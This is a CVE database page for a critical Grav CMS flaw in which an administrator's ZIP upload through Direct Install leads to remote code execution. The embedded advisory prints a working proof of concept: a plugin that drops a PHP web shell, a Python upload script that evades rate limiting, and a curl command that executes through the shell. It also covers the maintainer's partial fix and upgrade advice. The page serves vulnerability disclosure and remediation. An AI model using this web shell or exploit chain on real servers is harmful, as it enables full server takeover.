Loading...
Skip to main content

CVE-2026-42607 — Vulnerability in getgrav/grav — CVE Details

CRITICAL

Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature

Published May 5, 2026Updated September 10, 2026Source: osv

Summary

### Summary An authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server. ### Details The vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core. - Vulnerable Endpoints: /admin/tools/direct-install - Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285). - Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/ plugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive. ### PoC 1. Prepare the Malicious Plugin Create a directory named shellplugin and add the following files: shellplugin.php: ``` <?php namespace Grav\Plugin; use Grav\Common\Plugin; class ShellpluginPlugin extends Plugin { public static function getSubscribedEvents(): array { return ['onPluginsInitialized' => ['onPluginsInitialized', 0]]; } public function onPluginsInitialized(): void { $shell_path = GRAV_ROOT . '/shell.php'; if (!file_exists($shell_path)) { file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>'); } } } ``` (Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards). 2. Create the ZIP Archive ``` `zip -r /tmp/shellplugin.zip shellplugin/` 3. Execute the Exploit Script Run the following Python script to automate the login, nonce retrieval, and malicious upload process: `import requests, re, json s = requests.Session() BASE_URL = 'http://127.0.0.1' ``` #### 1. Login and Bypass Rate Limit via X-Forwarded-For ``` r = s.get(f'{BASE_URL}/admin') nonce = re.search(r'name="login-nonce" value="([^"]+)"', r.text).group(1) r2 = s.post(f'{BASE_URL}/admin', headers={'X-Forwarded-For': '10.0.0.3'}, data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce}, allow_redirects=False) redirect = json.loads(r2.text)['redirect'] s.get(redirect) print(f"[+] Logged in successfully.") ``` #### 2. Extract Admin Nonce from Tools Page ``` tools = s.get(f'{BASE_URL}/admin/tools/direct-install') admin_nonce = re.search(r'admin-nonce.*?value="([a-f0-9]{32})"', tools.text).group(1) print(f"[+] Retrieved Admin Nonce: {admin_nonce}") ``` #### 3. Upload and Execute ``` with open('/tmp/shellplugin.zip', 'rb') as f: zip_data = f.read() resp = s.post(f'{BASE_URL}/admin/tools/direct-install', data={'task': 'directInstall', 'admin-nonce': admin_nonce}, files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')}, headers={'X-Forwarded-For': '10.0.0.3'} ) if "installation" in resp.text.lower(): print("[+] Plugin installed successfully!") # Trigger the shell s.get(BASE_URL) print(f"[+] RCE Check: {BASE_URL}/shell.php?cmd=id")` ``` #### 4. Verification Access the dropped shell to confirm command execution: `curl -s "http://127.0.0.1/shell.php?cmd=whoami"` <img width="2547" height="756" alt="resim (2)" src="https://github.com/user-attachments/assets/6a8c25f1-9a9d-469f-ab68-3c7007e446d4" /> <img width="898" height="89" alt="resim (3)" src="https://github.com/user-attachments/assets/ec097785-1196-47a4-b24e-82fcbf0f7520" /> ### Impact - Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction). - Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP). - Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking. ## Maintainer note — partial fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — ships in **2.0.0-beta.2**. **What changed (path layer):** `Installer::unZip` now pre-validates every entry name before calling `ZipArchive::extractTo`, and aborts the install if any entry looks like a Zip Slip primitive — `..` path segments, absolute paths (Unix `/…` or Windows `C:\…`/`\…`), or NUL bytes. A crafted ZIP can no longer write files outside the target `user/plugins/<slug>` or `user/themes/<slug>` directory. **Explicit scope limitation:** the "well-formed but malicious plugin code" angle of the PoC — uploading a plugin whose own PHP is the payload — is **not** addressed by this change. `directInstall` is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note. **Files:** - [`system/src/Grav/Common/GPM/Installer.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/GPM/Installer.php) — new `isSafeArchiveEntry()` helper + pre-extract validation loop. - [`tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php) — 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names. --- ### Acknowledgements The issue was identified by Security Researcher **Mustafa Murat Akgül**. ---

Advisory Timeline

  • First published May 5, 2026 (160 days ago).
  • Last revised September 10, 2026 — 127 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update getgrav/grav to 2.0.0-beta.2 or later
composer require "getgrav/grav:^2.0.0-beta.2"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
getgrav/grav
packagist
0.8.0, 0.9.0, 0.9.1, 0.9.10 (+317 more)2.0.0-beta.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-42607?
Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-42607?
CVE-2026-42607 affects getgrav/grav. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42607 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-w48r-jppp-rcfw

Related CVEs

  • CVE-2025-66844
    CRITICAL

    Grav may be vulnerable to SSRF attack via Twig Templates

  • CVE-2025-66294
    HIGH

    Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass

  • CVE-2026-42844
    HIGH

    Low-privileged Grav API users can create super-admin accounts via blueprint-upload

  • CVE-2026-69088
    HIGH

    Grav: Incomplete callable validation in blueprint dynamic fields allows arbitrary static method invocation and file disclosure

  • CVE-2025-66297
    HIGH

    Grav vulnerable to Privilege Escalation and Authenticated Remote Code Execution via Twig Injection

  • CVE-2026-42612
    HIGH

    Grav Vulnerable to Publisher-Level Stored XSS via Unquoted Event Attributes

  • CVE-2026-65608
    HIGH

    Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation

  • CVE-2026-75837
    HIGH

    Grav: Missing admin.super guard on core group blueprint access field allows admin.users operator to escalate to super-admin

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies